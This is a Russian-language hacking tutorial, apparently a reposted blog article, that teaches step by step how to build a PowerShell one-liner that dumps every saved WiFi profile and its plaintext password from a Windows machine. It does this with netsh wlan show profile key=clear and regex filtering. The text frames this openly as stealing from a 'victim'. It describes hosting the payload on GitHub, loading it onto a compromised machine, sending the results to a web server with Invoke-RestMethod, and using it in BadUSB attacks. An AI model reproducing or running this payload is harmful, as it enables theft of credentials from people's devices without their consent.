PowerShell для хакера. Часть IX. Воруем сохраненные пароли от WiFi

PowerShell для хакера. Часть IX. Воруем сохраненные пароли от WiFi

@webware

t.me/webware

Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн

(Увы не всегда получается с вами тут посидеть ) Вот появилась минутка , решил потратить ее на написания очередной статьи на тему "PowerShell для хакера"

Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)


И так. Вот что мы освоим в этой статье:

  • Научимся смотреть информацию о WiFi подключениях средствами командной строки Windows
  • Извлекать сохраненные пароли в командной строке Windows
  • Немного освоим регулярные выражения в PowerShell
  • С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы
  • Закрепим подгрузку PowerShell через WEB
  • Закрепим отправку данных на веб-сервер методом Invoke-RestMethod.

И так друзья мои, зачем нам это все? Попытаюсь ответить:

  • Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)
  • Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.
  • Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)
  • Эта техника может быть использована для атак вида BadUSB
  • Ну и для общего развития

И так первое что мы освоим - это справку по команде netsh

Конкретней нас интересует команда netsh wlan show profile

которая покажет нам список всех сохраненных WiFi

Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:

netsh wlan show profile <SSID_NAME> key=clear

Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.

Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.

Первым делом давайте выведем имена WiFi сетей c помощью оператора Select-String:

(netsh wlan show profiles) | Select-String "\:-(.+)$"

Теперь давайте попытаемся вывести только SSID:

(netsh wlan show profiles) | Select-String "\:-(.+)$" | %{$_.Matches.Groups[1].Value}

Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()

Для удобства все совпадения положим в переменную $name

(netsh wlan show profiles) | Select-String "\:-(.+)$" |%{$name=$_.Matches.Groups[1].Value.Trim(); $_}

Теперь по этому же принципу нужно отобразить пароль от каждой SSID :

(netsh wlan show profiles) | Select-String "\:-(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}

Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :

Но опять же таки тут много лишнего текста:

Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид:

(netsh wlan show profiles) | Select-String "\:-(.+)$" |%{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:-(.+)$"

И конечная команда наша будет иметь примерно следующий вид:

(netsh wlan show profiles) | Select-String "\:-(.+)$" |%{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:-(.+)$"| %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize

Ну а далее все по накатанной схеме:

Размещаем где то на гитхабе к примеру:

Подгружаем на скомпрометированной машине:


И ловим пароли от WiFi:

Всем спасибо за внимание)

Источник codeby.net

Report Page